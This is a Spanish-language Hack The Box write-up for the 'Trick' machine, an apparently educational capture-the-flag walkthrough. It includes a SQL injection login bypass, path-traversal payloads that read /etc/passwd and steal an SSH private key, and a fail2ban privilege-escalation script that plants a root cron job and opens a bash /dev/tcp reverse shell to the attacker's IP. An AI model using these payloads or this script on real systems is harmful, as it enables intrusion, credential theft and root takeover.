Home Hackthebox Writeup Trick
Post
Cancel

Hackthebox Writeup Trick

Overview

  1. Subdomain enumeration by AXFR zone transfer request
  2. Subdomain enumeration by relationship
  3. Private key by Local File Inclusion (Foothold)
  4. Fail2ban misconfiguration (Privilege Escalation)

Logo

OSIPRelease DateDifficultyPoints
Linux10.10.11.16618 Jun 2022Easy20

Antes de empezar verificamos que estamos conectado a la VPN de HTB y tenemos conexión con la máquina:

1
2
3
4
5
6
7
8
> ping -c1 10.10.11.166
PING 10.10.11.166 (10.10.11.166) 56(84) bytes of data.
64 bytes from 10.10.11.166: icmp_seq=1 ttl=63 time=107 ms
                                          \______________________ Linux Machine
--- 10.10.11.166 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
          \_________________\____________________________________ Successful connection
rtt min/avg/max/mdev = 106.851/106.851/106.851/0.000 ms

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Enumeration


Empezamos guardando en una variable la IP del objetivo y posteriormente con nmap realizamos un escaneo de tipo TCP (Transfer Control Protocol) para descubrir puertos abiertos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ TARGET=10.10.11.166; nmap -p- -sS --min-rate 5000 -n -Pn $TARGET
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-12 14:31 -05
Nmap scan report for 10.10.11.166
Host is up (0.11s latency).
Not shown: 65531 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
              \_________________ Secure Shell Protocol
25/tcp open  smtp
              \_________________ Simple Mail Transfer Protocol
53/tcp open  domain
              \_________________ Domain Name System
80/tcp open  http
              \_________________ Hypertext Transfer Protocol

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-Pn : Omitir el descubrimiento de hosts y continuar con el escaneo de puertos, incrementa velocidad del escaneo

Continuamos con un escaneo a profundidad de los puertos 22(SSH) - 25(SMPT) - 53(DNS) - 80(HTTP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p22,25,53,80 -sCV -oN openPortsTCP $TARGET
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-12 14:39 -05
Nmap scan report for trick.htb (10.10.11.166)
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Explicación de parámetros :

-p <port_1,port_2,...> : Indicamos que puertos queremos escanear

-sCV (Fusión de parámetros -sC -sV)

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

Iniciamos enumerando el puerto 25 (SMPT) que corre el servicio Postfix:

Qué es Postfix:

Postfix es un agente de transferencia de correo (MTA), una aplicación que se utiliza para enviar y recibir correos electrónicos

En el escaneo de nmap observamos comandos que podemos ejecutar en el servicio de correo, en especial el comando VRFY que nos permite enumerar usuarios

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ telnet $TARGET 25
Trying 10.10.11.166...
Connected to 10.10.11.166.
Escape character is '^]'.
220 debian.localdomain ESMTP Postfix (Debian/GNU)
VRFY root
252 2.0.0 root <--------- Cannot verify the user (252 code)
VRFY user
550 5.1.1 <user>: Recipient address rejected: User unknown in local recipient table
VRFY nobody
252 2.0.0 nobody
VRFY admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table

No podemos hacer mucho por este puerto, así que pasamos a enumerar el puerto 53(DNS)

Omitimos el descubrimiento de versión (Banner grabbing) ya que nmap se encargó de ello

De manera primaria intentamos solicitar el proceso de tranferencia de zona, el cúal permite a un servidor DNS (servidor principal) pasar una copia de una parte de su base de datos a otro servidor DNS (servidor secundario)

Para ello, en la mayoría de los casos necesitamos un nombre de dominio:

Usamos el comando nslookup que nos permite realizar una búsqueda de DNS inversa

1
2
3
4
5
6
❯ nslookup
> SERVER 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 10.10.11.166
166.11.10.10.in-addr.arpa       name = trick.htb. <-------- Domain name!

Encontramos el nombre de dominio trick.htb. Ahora usando el comando dig, que nos permite realizar consultas a servidores DNS y obtener información, solicitamos el proceso de Transferencia de zona:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ dig axfr @$TARGET trick.htb

; <<>> DiG 9.18.4-2-Debian <<>> axfr @10.10.11.166 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 108 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Mon Sep 12 15:52:06 -05 2022
;; XFR size: 6 records (messages 1, bytes 231)

Usamos el tipo de consulta AXFR (Asynchronous Full Transfer Zone) debido al tipo de solicitud

Aquí puedes encontrar más información sobre Transeferencias de zona DNS: https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html

Obervamos un nuevo dominio preprod-payroll.trick.htb, el cuál es un CNAME (Canonical name), en manera simple se utiliza para dirigir un subdominio a otro dominio y aplicar Virtual hosting para de una misma IP podamos alojar distintas páginas web

Con el dominio encontrado pasamos a enumerar el puerto 80 (HTTP), sin olvidar antes agregar el nombre de dominio a nuestro arhcivo /etc/hosts, el cuál es el encargado de la resolución de direcciones IP y nombres de dominio: echo "10.10.11.166 preprod-payroll.trick.htb" >> /etc/hosts

Ahora enumeramos que tecnologías corren por los servicios web:

En el puerto 80 (HTTP) solo encontramos una interfaz en desarrollo con una versión de Nginx 1.14.2 como servidor web

trickWeb

En el dominio preprod-payroll.trick.htb nos redirige a un panel de logeo

preprod-payrollWeb

Después de intentar credenciales por defecto probramos una inyección SQL básica ' or 1=1# en cualquiera de los dos campos (Username/Password) y logramos entar como el usuario Administrador a lo que parece un sistema de Nóminas para los empleados (a saber por el nombre de dominio)

Lamentablemente el propósito de este Sistema de Gestión de Reclutamiento solo es un Rabbit hole (madriguera de conejo), él cual se le conoce como una situación en la que piensas que tienes una solución a lo que te enfrentas pero lo único que conseguirás es perder el tiempo

Continuamos enumerando la web pero no encontramos más directorios interesantes, así que tiramos por encontrar mas subdominios. Y para esto nos fijamos en el subdominio que ya tenemos preprod-payroll:

Si lo desglozamos tenemos preprod (abreviación de pre-producción) + payroll (nómina de sueldo)

Sabemos que pre-producción nos quiere decir que la web aún está en la etapa de planificación, en nuestro caso la web para la nómina de sueldos. Entonces, es posible que tengamos otros servicios web en pre-producción, para ello realizamos una enumeración con wfuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wfuzz -c -t 200 --hh=5480 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: preprod-FUZZ.trick.htb' http://10.10.11.166
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.166/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                    
=====================================================================

000000254:   200        178 L    631 W      9660 Ch     "marketing"

Foothold


Ahora con nuestro nuevo domino preprod-marketing.trick.htb (no olvidar agregarlo al /etc/hosts) accedemos a la siguiente interfaz:

preprod-marketingWeb

Revisando la web de manera rápida y por el título nos damos cuenta que es un template. Además, al ir cambiando de secciones (HOME, SERVICES, ABOUT) observamos en la URL http://preprod-marketing.trick.htb/index.php?page=home.html que a traves del archivo index.php haciendo el uso del parámetro page se llama al documento correspondiente a cada sección home.html

De primeras es muy sospechoso si conocemos el ataque Local File Inclusion, ya que estos archivos que son parte del servidor son llamados para mostarse en pantalla

Para comprobarlo intentamos leer el clásico archivo /etc/hosts que almacena información de los usuarios de sistema:

http://preprod-marketing.trick.htb/index.php?page=/etc/passwd

No conseguimos resultados, así que intentamos usar bypass básico. Ya que no sabemos en que ruta nos encontramos, intentamos ir al directorio anterior ../ un par de veces (mayormente son 3 ya que por defecto al crear un servicio web, esta se aloja en la ruta absoluta /var/www/<web_name>):

http://preprod-marketing.trick.htb/index.php?page=../../../etc/passwd

Como seguimos sin resultados aplicamos otro bypass que evade las restricciones del uso de ../ y las elmina. Por ello, lo que hacemos es duplicarlas para que quede como queremos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash <---- User!

En caso que quieras probar mas byasses de manera simultánea, puedes usar wfuzz con un directorio adecuado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ wfuzz -c -t 100 --hl=0 -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt http://preprod-marketing.trick.htb/index.php?page=FUZZ

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://preprod-marketing.trick.htb/index.php?page=FUZZ
Total requests: 914

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                       ===================================================================== 
000000327:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"         
000000330:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd" 
000000328:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....
000000332:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000331:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"                                                              
000000342:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//etc/passwd"
000000346:   200        41 L     68 W       2351 Ch     "....//....//....//etc/passwd"                                      
000000338:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//etc/passwd"
000000329:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"                                            
000000336:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"                 
000000345:   200        41 L     68 W       2351 Ch     "....//....//....//....//etc/passwd"                                                                       
000000344:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//etc/passwd"                                                                 
000000341:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//etc/passwd"                                               
000000343:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//etc/passwd"                                                           
000000340:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//etc/passwd"                                         
000000337:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"                       
000000339:   200        41 L     68 W       2351 Ch     "....//....//....//....//....//....//....//....//....//....//etc/passwd"

Al final logramos explotar la vulnerabilidad y listar archivos del servidor. El archivo /etc/hosts nos dió la información que existe un usuario llamado michael, y ya que podemos listar archivos y tenemos abierto el puerto 22 (SSH) abierto, intentamos extraer la llave privada RSA alojada en /<user_home_directory>/.ssh/id_rsa

Al final conseguimos extraerla y nos conectamos satisfactoriamente por SSH y conseguimos la flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ curl http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa > id_rsa_michael
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1823    0  1823    0     0   8530      0 --:--:-- --:--:-- --:--:--  8518
❯ chmod 600 id_rsa_michael
❯ ssh -i id_rsa_michael michael@10.10.11.166
The authenticity of host '10.10.11.166 (10.10.11.166)' can't be established.
ED25519 key fingerprint is SHA256:CUKzxire1i5wxTO1zNuBswEtE0u/RyyjZ+v07fOUuYY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.166' (ED25519) to the list of known hosts.
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 12 22:27:25 2022 from 10.10.14.48
michael@trick:~$ find / -name user.txt -exec ls -l {} + 2>/dev/null
-rw-r----- 1 root michael 33 Sep 12 22:13 /home/michael/user.txt

Ya que tenemos acceso al servidor, a continuación validamos las malas prácticas que nos proporcionaron explotar las vulnerabilidades anteriores:

Inyección SQL (file: /var/www/payroll/admin_class.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
...
function login(){
  extract($_POST);
  $qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' "); <-- '.' concatenation
  if($qry->num_rows > 0) {
    foreach ($qry->fetch_array() as $key => $value) {
      if($key != 'passwors' && !is_numeric($key))
        $_SESSION['login_'.$key] = $value;
  }
  return 1;
  } else {
    return 3;
  }
}
...
?>

Local File Inclusion (file: /var/www/market/index.php)

1
2
3
4
5
6
7
8
9
10
<?php
$file = $_GET['page'];

if(!isset($file) || ($file=="index.php")) {
   include("/var/www/market/home.html");
}
else{
        include("/var/www/market/".str_replace("../","",$file)); <-- non-recursive constraint
}
?>

Privilege Escalation


En el proceso de realizar una enumeración básica del sistema y del usuario actual, obervamos que tenemos permitido ejecutar un binario como el usuario root sin proporcionar una contraseña:

1
2
3
4
5
6
7
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

Antes de intentar algo nos informamos que es fail2ban:

Fail2ban es una herramienta que asigna ciertas reglas especificadas (bloqueo de ip, etc), que alteran configuraciones del firewall, al momento de intentos fallidos de inicios de sesión

Fail2ban tiene como propósito monitorear los logs de servicios comúnes, filtrar los logs respecto a autenticaciones fallidas y tomar acciones

Investigando en internet de su funcionamiento encontramos que existe una mala configuración que permite escalar privilegios. En palabras simples, podemos provocar un baneo que ejecute código malicioso al momento de tomar una acción hacia nosotros

Primero debemos conocer para que servicios está activo Fail2ban, para ello tenemos los archivos de configuración /etc/fail2ban/jail.conf y /etc/fail2ban/jail.d/defaults-debian.conf, donde encontramos las políticas por defecto y que servicios están activos

Revisamos en el archivo principal de configuración

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
michael@trick:~$ less /etc/fail2ban/jail.conf
...
#
# SSH servers
#

[sshd]

# To use more aggressive sshd modes set filter parameter "mode" in jail.local:
# normal (default), ddos, extra or aggressive (combines all).
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details.
#mode   = normal
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
bantime = 10s
...

No vemos un enable = true que indique que está activo, por ello revisamos el otro archivo de configuración y aseguramos que el servicio SSHD (ssh daemon) está activado

1
2
3
michael@trick:~$ cat /etc/fail2ban/jail.d/defaults-debian.conf 
[sshd]
enabled = true

Ahora debemos asegurarnos las acciones que se establecerán cuando provoquemos el baneo, para ello revisamos el archivo de configuración /etc/fail2ban/jail.conf

1
2
3
4
5
6
7
8
9
10
11
12
michael@trick:~$ less /etc/fail2ban/jail.conf
...
#
# Action shortcuts. To be used to define action parameter

# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport <--- ban action!
banaction_allports = iptables-allports
...

El nombre especificado apunta a la ruta /etc/fail2ban/action.d/<banaction>.conf y es el encargado de configurar el firewall y así prohibir los hosts que provoquen el baneo

1
2
3
4
5
6
7
8
9
10
michael@trick:~$ less /etc/fail2ban/action.d/iptables-multiport.conf
...
# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype> <--- Here
...

El archivo anterior es el que se activará cuando provoquemos el baneo y ejecutar la acción actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>, que como vemos puede ser un comando

Antes de eso debemos saber los intentos que tenemos antes de ser baneados y por cuanto tiempo será, eso también lo vemos en el archivo de configuración

1
2
3
4
5
6
7
8
9
10
11
12
michael@trick:~$ less /etc/fail2ban/jail.conf
...
# "bantime" is the number of seconds that a host is banned.
bantime  = 10s

# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10s

# "maxretry" is the number of failures before a host get banned.
maxretry = 5 <--- Here (important)
...

Ahora solo queda modificar la acción actionban = MALICIOUS CODE, reiniciar el servicio fail2ban que lo ejecutará como root gracias a los permisos que tenemos, luego nos logearemos por SSH provocando el máximo de intentos (5) para ser baneados y activar actionban que ejecutará nuestro comando

Para el proceso junte cada tarea en un script en bash que explica el proceso y te permite conseguir acceso como root a traves de una tarea cron inyectada:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash

# Fail2ban privesc (sshd service)
# ----------------


# Remote machine
# ---------------

# actionban config file
fail2ban_rule_conf=/etc/fail2ban/action.d/iptables-multiport.conf

# check user:group permissions (root:root)
ls -l $fail2ban_rule_conf

# change user:group to writeable permisisons
cp $fail2ban_rule_conf{,.bak}
mv -f $fail2ban_rule_conf.bak $fail2ban_rule_conf

# check user:group permission (michale:michael)
ls -l $fail2ban_rule_conf

# commands to create cron process to receive privileged reverse shell
if [ -d "/tmp/.privesc" ]; then
  rm -rf "/tmp/.privesc"
fi
create_dir="mkdir /tmp/.privesc"
assing_cron="echo '* * * * * root /bin/sh /tmp/.privesc/pwned.sh' > /etc/cron.d/pwned;"
cron_script="echo \"bash -c 'bash -i >& /dev/tcp/$1/$2 0>&1'\" > /tmp/.privesc/pwned.sh;"
add_perm="chmod +x /tmp/.privesc/pwned.sh;"

# save commands in file
$create_dir
echo -e "$assing_cron\n$cron_script\n$add_perm" > /tmp/.privesc/cmd.sh
chmod +x /tmp/.privesc/cmd.sh

# change actionban to execute malicious file
sed -i 's/actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>/actionban = \/bin\/bash \/tmp\/.privesc\/cmd.sh/g' $fail2ban_rule_conf

# restart fail2ban service 
sudo /etc/init.d/fail2ban restart


# Local machine
# -------------

sleep 3
echo -e "\nMake failed ssh requests in ATTACKER machine to activate fail2ban rules (maxretry = 5)"
echo "Example: for i in \$(seq 1 10); do sshpass -p 'anything' ssh michael@10.10.11.166; done"

echo -e "\nListen on IP $1 through PORT $2 to receive the shell. (g.e nc -lvnp $2)\n"

Puedes encontrar el script en mi repositorio https://github.com/E1P0TR0

Ahora solo lo ejecutamos y conseguimos la flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
michael@trick:/tmp$ ./privesc.sh 10.10.14.58 1234
-rw-r--r-- 1 michael michael 1401 Sep 13 02:42 /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 michael michael 1401 Sep 13 02:44 /etc/fail2ban/action.d/iptables-multiport.conf
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

Make failed ssh requests in ATTACKER machine to activate fail2ban rules (maxretry = 5)
Example: for i in $(seq 1 6); do sshpass -p 'anything' ssh michael@10.10.11.166; done

Listen on IP 10.10.14.58 through PORT 1234 to receive the shell. (g.e nc -lvnp 1234)

michael@trick:/tmp$ 

─────────────────────────────────────────────────────────────────────────────────────────────────
❯ for i in $(seq 1 6); do sshpass -p 'anything' ssh michael@10.10.11.166; done
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
❯ nc -lvnp 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.166.
Ncat: Connection from 10.10.11.166:36098.
bash: cannot set terminal process group (4074): Inappropriate ioctl for device
bash: no job control in this shell
root@trick:~# find / -name root.txt | xargs ls -l
find / -name root.txt | xargs ls -l
-rw-r----- 1 root root 33 Sep 12 22:13 /root/root.txt
This post is licensed under CC BY 4.0 by the author.